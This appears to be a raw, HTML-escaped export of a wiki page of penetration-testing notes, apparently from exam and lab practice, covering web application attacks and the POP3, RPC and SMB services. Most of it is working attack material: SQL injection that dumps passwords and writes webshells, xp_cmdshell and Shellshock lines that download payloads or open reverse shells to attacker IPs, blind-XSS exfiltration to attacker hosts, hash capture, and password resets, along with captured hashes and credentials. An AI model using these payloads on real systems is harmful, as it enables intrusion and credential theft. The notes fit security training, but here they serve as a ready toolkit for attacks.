Blog entry from PASSWORD with title null from 0&lt;br /&gt;
Blog entry from USER_ID with title null from 0&lt;br /&gt;
Blog entry from USER_NAME with title null from 0&lt;br /&gt;
&#039; UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from alice with title null from 0&lt;br /&gt;
Blog entry from eric with title null from 0&lt;br /&gt;
Blog entry from maria with title null from 0&lt;br /&gt;
&#039; UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from bobismyuncle with title null from 0&lt;br /&gt;
Blog entry from letmein with title null from 0&lt;br /&gt;
Blog entry from thisismypassword with title null from 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Usuful commands (Upload shells) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
# Test SQLI with sleep&lt;br /&gt;
# Double hyphen is used to out-comment rest of the query&lt;br /&gt;
&#039; UNION SELECT sleep(5); -- -&lt;br /&gt;
# Write a webshell&lt;br /&gt;
UNION SELECT &amp;quot;&amp;quot; into outfile &amp;quot;C:\\xampp\\htdocs\\backdoor.php&amp;quot;&lt;br /&gt;
UNION SELECT &#039;&#039; INTO OUTFILE &#039;/var/www/html/x.php&#039; FIELDS TERMINATED BY &#039;&#039;&lt;br /&gt;
&#039; UNION SELECT (&amp;quot; into OUTFILE &#039;c:/xampp/htdocs/backdoor.php&#039;&lt;br /&gt;
# Code execution&lt;br /&gt;
?id=1 union all select 1, 2, load_file(&#039;C:/Windows/win.ini&#039;)&lt;br /&gt;
# Mssql download shell, output it, and execute it&lt;br /&gt;
&#039;;EXEC xp_cmdshell &#039;certutil -urlcache -split -f &amp;quot;http://192.168.119.176/shell.exe&amp;quot; C:\windows\temp\shell.exe&amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
# XP_dirtree - Remember to start responder or impacket-smbserver&lt;br /&gt;
1&#039;; use master; exec xp_dirtree &#039;\\192.168.119.176\SHARE&#039;;--&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSRF ===&lt;br /&gt;
&lt;br /&gt;
==== Capture hash ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example from PG Heist&lt;br /&gt;
# On target website&lt;br /&gt;
http://heist.offsec:8080/?url=http://192.168.49.247:80&lt;br /&gt;
# On attacker&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]&lt;br /&gt;
└─# responder -I tun0&lt;br /&gt;
[+] Listening for events...&lt;br /&gt;
[HTTP] NTLMv2 Client   : ::ffff:192.168.247.165&lt;br /&gt;
[HTTP] NTLMv2 Username : HEIST\enox&lt;br /&gt;
[HTTP] NTLMv2 Hash     : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]&lt;br /&gt;
# Hash format&lt;br /&gt;
netntlmv2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSTI ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c echo RCE &amp;gt; C:/Windows/Tasks/test.txt&amp;quot;);&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c powershell -e ENCODEDCOMMAND&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XSS ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]&lt;br /&gt;
&lt;br /&gt;
==== Blind XSS ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING GET REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Send this to the vulnernable form parameter&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;).then(response =&amp;gt; response.text()).then(data =&amp;gt; fetch(&#039;http://10.9.17.250/receive?data=&#039; + encodeURIComponent(data)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Set up a listener, like python http server og netcat and wait for the connection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -lvnp 80&lt;br /&gt;
listening on [any] 80 ...&lt;br /&gt;
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532&lt;br /&gt;
GET /receive?data=THM%7B83... HTTP/1.1&lt;br /&gt;
Host: 10.9.17.250&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36&lt;br /&gt;
accept: */*&lt;br /&gt;
origin: http://127.0.0.1:8080&lt;br /&gt;
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247&lt;br /&gt;
Referer: http://127.0.0.1:8080/&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING POST REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Host the Script&#039;&#039;&#039;: You need to have control over the server at  ​[http://10.9.17.250 http://10.9.17.250]​ . On this server, you&#039;ll place your JavaScript code in a file, typically with a  ​.js​  extension (even though you mentioned  ​test.txt​ , it&#039;s more common to use  ​.js​  for JavaScript files).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Write the JavaScript Code&#039;&#039;&#039;: The JavaScript code that fetches the content from  ​[http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt]​  and then sends it to your server needs to be written and saved in the file you&#039;re hosting (say  ​script.js​ ).&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of what your JavaScript file ( ​script.js​ ) might contain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;)&lt;br /&gt;
    .then(response =&amp;gt; response.text())&lt;br /&gt;
    .then(data =&amp;gt; {&lt;br /&gt;
        fetch(&#039;http://10.9.17.250/receive&#039;, { // Change the endpoint as needed&lt;br /&gt;
            method: &#039;POST&#039;,&lt;br /&gt;
            headers: {&lt;br /&gt;
                &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039;,&lt;br /&gt;
            },&lt;br /&gt;
            body: `data=${encodeURIComponent(data)}`&lt;br /&gt;
        });&lt;br /&gt;
    });&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can alos send this directly instead of hosting it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;/profile&#039;).then(response =&amp;gt; response.json()).then(data =&amp;gt; fetch(&#039;http://attacker-server.com&#039;, {method: &#039;POST&#039;, headers: {&#039;Content-Type&#039;: &#039;application/json&#039;}, body: JSON.stringify(data)}));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Inject the payload in the form&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Setup a receiver:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from flask import Flask, request&lt;br /&gt;
app = Flask(__name__)&lt;br /&gt;
@app.route(&#039;/receive&#039;, methods=[&#039;POST&#039;])&lt;br /&gt;
def receive_data():&lt;br /&gt;
    data = request.get_json()&lt;br /&gt;
    print(data)&lt;br /&gt;
    return &#039;Data received&#039;, 200&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    app.run(host=&#039;0.0.0.0&#039;, port=80)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bypass robots.txt &amp;quot;You are not a search engine. Permission denied.&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Set User-Agent to &amp;quot;User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellShock (CGI) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &amp;quot;user-agent: () { :; }; echo; echo; /bin/bash -c &#039;cat /etc/passwd&#039;&amp;quot; /cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &#039;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.17/4444 0&amp;gt;&amp;amp;1&#039; http://10.10.10.56/cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMS/Webservers ===&lt;br /&gt;
&lt;br /&gt;
==== Apache James ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.72 PWK&lt;br /&gt;
# Apache James Server 2.3.2&lt;br /&gt;
https://www.exploit-db.com/exploits/50347&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Drupal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
droopscan scan -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Username Enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Register&lt;br /&gt;
In /user/register try to create a username, and if the name is already taken it will be notified&lt;br /&gt;
Register new password&lt;br /&gt;
If you request a new password for an exisiting username.&lt;br /&gt;
If you request a new password for a non-existent username:&lt;br /&gt;
Number of users enumeration&lt;br /&gt;
Accessing /user/ you can see the number of exisinting users.&lt;br /&gt;
   - /user/4 -&amp;gt; Access denied (user exist)&lt;br /&gt;
   - /user/5 -&amp;gt; Page not found (user dosent exist)&lt;br /&gt;
There are 4 existing users.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hidden pages enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Fuzz /node/$ where $ is a number (from 1 to 500 for example).&lt;br /&gt;
You could find hidden pages (test, dev) which are not referenced by the search engine.&lt;br /&gt;
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== FuelCMS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47138&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gitstack portal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Go to gitstack portal&lt;br /&gt;
# Try default admin:admin&lt;br /&gt;
# Click on stack menu.&lt;br /&gt;
# Choose the command portal option.&lt;br /&gt;
# replace stack.php?cmd=hello&lt;br /&gt;
# with&lt;br /&gt;
# stack.php?cmd=hello;whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== IIS - Internet Information Services ====&lt;br /&gt;
&lt;br /&gt;
==== Jenkins ====&lt;br /&gt;
&lt;br /&gt;
===== Remote Code execution =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.5.5.25 PWK&lt;br /&gt;
Select New Item --&amp;gt; Freestyle project --&amp;gt; Choose build --&amp;gt; Windows batch command (Or Execute shell for Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Joomla ====&lt;br /&gt;
&lt;br /&gt;
==== Ovidentia ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
See writeup 10.11.1.73 PWK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tiki wiki ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/40053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHPLiteAdmin ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.116 PWK&lt;br /&gt;
# PHPLiteAdmin 1.9.3&lt;br /&gt;
# https://www.exploit-db.com/exploits/24044&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tomcat ====&lt;br /&gt;
&lt;br /&gt;
==== werkzeug ====&lt;br /&gt;
&lt;br /&gt;
==== WebDAV ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
davtest -url http://10.10.10.15&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Curl commands with webDAV =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Reading Files/Folders&lt;br /&gt;
curl &#039;http://example.com/webdav&#039;&lt;br /&gt;
# Creating new Folder&lt;br /&gt;
curl -X MKCOL &#039;http://example.com/webdav/new_folder&#039;&lt;br /&gt;
# Uploading File&lt;br /&gt;
curl -T &#039;/path/to/local/file.txt&#039; &#039;http://example.com/webdav/test/new_name.txt&#039;&lt;br /&gt;
curl --upload-file  http:///test/&lt;br /&gt;
curl -T &#039;cmdasp.aspx&#039; &#039;http://192.168.89.122/cmd.aspx&#039; --user fmcsorley:CrabSharkJellyfish192&lt;br /&gt;
# Renaming File&lt;br /&gt;
curl -X MOVE --header &#039;Destination:http://example.org/webdav/new.txt&#039; &#039;http://example.com/webdav/old.txt&#039;&lt;br /&gt;
# Deleting Files/Folders&lt;br /&gt;
# File:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test.txt&#039;&lt;br /&gt;
# Folder:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Wordpress ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wpscan --url&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Change user pass in Mysql =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example 1&lt;br /&gt;
use wp_genesis;&lt;br /&gt;
SELECT ID, user_login, user_pass FROM wp_users;&lt;br /&gt;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;&lt;br /&gt;
# Example 2&lt;br /&gt;
select * from wp_users;&lt;br /&gt;
UPDATE `wp_users` SET `user_pass`= MD5(&#039;bypassed&#039;) WHERE&lt;br /&gt;
`user_login`=&#039;admin&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Panel RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Edit the 404.php file in Wordpress dashobard. Appereance --&amp;gt; Editor --&amp;gt; 404 Template.&lt;br /&gt;
Add php-reverse-shell.php.&lt;br /&gt;
Visit http:///wp-content/themes/twentytwelve/404.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Plugin RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/x3rz/malicious-wordpress-plugin&lt;br /&gt;
# Edit php reverse shell and add IP and port&lt;br /&gt;
# Go to Plugin -&amp;gt; Add new -&amp;gt; Upload plugin&lt;br /&gt;
# Upload the zip file&lt;br /&gt;
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
==== PHP webshell, php code, php execution, php command ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WebApplication Firewall (WAF) ===&lt;br /&gt;
&lt;br /&gt;
=== fireprox -Rotate source IP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/ustayready/fireprox&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Waf Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c&lt;br /&gt;
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.&lt;br /&gt;
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 88 - KERBEROS ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 110 - POP3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Login&lt;br /&gt;
telnet 192.168.196.137 110&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
+OK Dovecot (Ubuntu) ready.&lt;br /&gt;
USER sales&lt;br /&gt;
+OK&lt;br /&gt;
PASS sales&lt;br /&gt;
+OK Logged in.&lt;br /&gt;
# List emails&lt;br /&gt;
list&lt;br /&gt;
# Read mail&lt;br /&gt;
RETR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 113 - ident ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident&lt;br /&gt;
ident-user-enum 192.168.207.60 22 113 8080 10000&lt;br /&gt;
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )&lt;br /&gt;
192.168.207.60:22       root&lt;br /&gt;
192.168.207.60:113      nobody&lt;br /&gt;
192.168.207.60:8080&lt;br /&gt;
192.168.207.60:10000    eleanor&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 135, 593 - MS RPC ==&lt;br /&gt;
&lt;br /&gt;
=== Enum with creds ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration&lt;br /&gt;
# If you have access to rpcclient, you can enumerate target&lt;br /&gt;
# Users enumeration&lt;br /&gt;
List users: querydispinfo and enumdomusers&lt;br /&gt;
Get user details: queryuser&lt;br /&gt;
Get user groups: queryusergroups&lt;br /&gt;
GET SID of a user: lookupnames&lt;br /&gt;
Get users aliases: queryuseraliases [builtin|domain]&lt;br /&gt;
# Groups enumeration&lt;br /&gt;
List groups: enumdomgroups&lt;br /&gt;
Get group details: querygroup&lt;br /&gt;
Get group members: querygroupmem&lt;br /&gt;
Aliasgroups enumeration&lt;br /&gt;
List alias: enumalsgroups&lt;br /&gt;
Get members: queryaliasmem builtin|domain&lt;br /&gt;
# Domains enumeration&lt;br /&gt;
List domains: enumdomains&lt;br /&gt;
Get SID: lsaquery&lt;br /&gt;
Domain info: querydominfo&lt;br /&gt;
# Shares enumeration&lt;br /&gt;
Enumerate all available shares: netshareenumall&lt;br /&gt;
Info about a share: netsharegetinfo&lt;br /&gt;
# More SIDs&lt;br /&gt;
Find SIDs by name: lookupnames&lt;br /&gt;
Find more SIDs: lsaenumsid&lt;br /&gt;
RID cycling (check more SIDs): lookupsids&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password Reset over RPC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://room362.com/post/2017/reset-ad-user-password-with-linux/&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2 audit2020 23 &#039;Password123!&#039;&lt;br /&gt;
# One-liner&lt;br /&gt;
root@kali# rpcclient -U &#039;blackfield.local/support%#00^BlackKnight&#039; 10.10.10.192 -c &#039;setuserinfo2 audit2020 23 &amp;quot;Password123!&amp;quot;&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 139, 445 - SMB/SAMBA ==&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u  -p&lt;br /&gt;
hydra -V -f -L  -P  smb:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture hash using responder or smbserver ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker start responder or smbserver.&lt;br /&gt;
responder -I attackerip&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support&lt;br /&gt;
# On target&lt;br /&gt;
dir \\attackerip\something&lt;br /&gt;
view=//attackerip/share&lt;br /&gt;
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.&lt;br /&gt;
# Example&lt;br /&gt;
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Command Execution through smbmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbmap -u &#039;backup&#039; -p &#039;backup&#039;  -H 10.11.1.227 -x &amp;quot;net user&amp;quot; --mode psexec&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Download all&lt;br /&gt;
smbclient ///&lt;br /&gt;
&amp;gt; mask &amp;quot;&amp;quot;&lt;br /&gt;
&amp;gt; recurse&lt;br /&gt;
&amp;gt; prompt&lt;br /&gt;
&amp;gt; mget *&lt;br /&gt;
#Download everything to current directory&lt;br /&gt;
&lt;br /&gt;
# Download all files from a directory recursively&lt;br /&gt;
smbclient /// -U  -c &amp;quot;prompt OFF;recurse ON;mget *&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== EternalBlue ms17-010 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/worawit/MS17-010/&lt;br /&gt;
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo&lt;br /&gt;
# If windows xp, use send_and_execute.py&lt;br /&gt;
# Generate payload using msfvenom&lt;br /&gt;
python2 send_and_execute.py 10.10.10.10 shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate samba version ===&lt;br /&gt;
&lt;br /&gt;
[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run the below script while wireshark is listening&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#Author: rewardone&lt;br /&gt;
#Description:&lt;br /&gt;
# Requires root or enough permissions to use tcpdump&lt;br /&gt;
# Will listen for the first 8 packets of a null login&lt;br /&gt;
# and grab the SMB Version&lt;br /&gt;
#Notes:&lt;br /&gt;
# Will sometimes not capture or will print multiple&lt;br /&gt;
# lines. May need to run a second time for success.&lt;br /&gt;
if [ -z $1 ]; then echo &amp;quot;Usage: ./smbver.sh RHOST {RPORT}&amp;quot; &amp;amp;&amp;amp; exit; else rhost=$1; fi&lt;br /&gt;
if [ ! -z $2 ]; then rport=$2; else rport=139; fi&lt;br /&gt;
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2&amp;gt;/dev/null | grep -i &amp;quot;samba\|s.a.m&amp;quot; | tr -d &#039;.&#039; | grep -oP &#039;UnixSamba.*[0-9a-z]&#039; | tr -d &#039;\n&#039; &amp;amp; echo -n &amp;quot;$rhost: &amp;quot; &amp;amp;&lt;br /&gt;
echo &amp;quot;exit&amp;quot; | smbclient -L $rhost 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;br /&gt;
echo &amp;quot;&amp;quot; &amp;amp;&amp;amp; sleep .1&lt;br /&gt;
# Once you&#039;ve run the script, go back to wireshark and follow one of the smb TCP stream&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Enumerate ===&lt;br /&gt;
&lt;br /&gt;
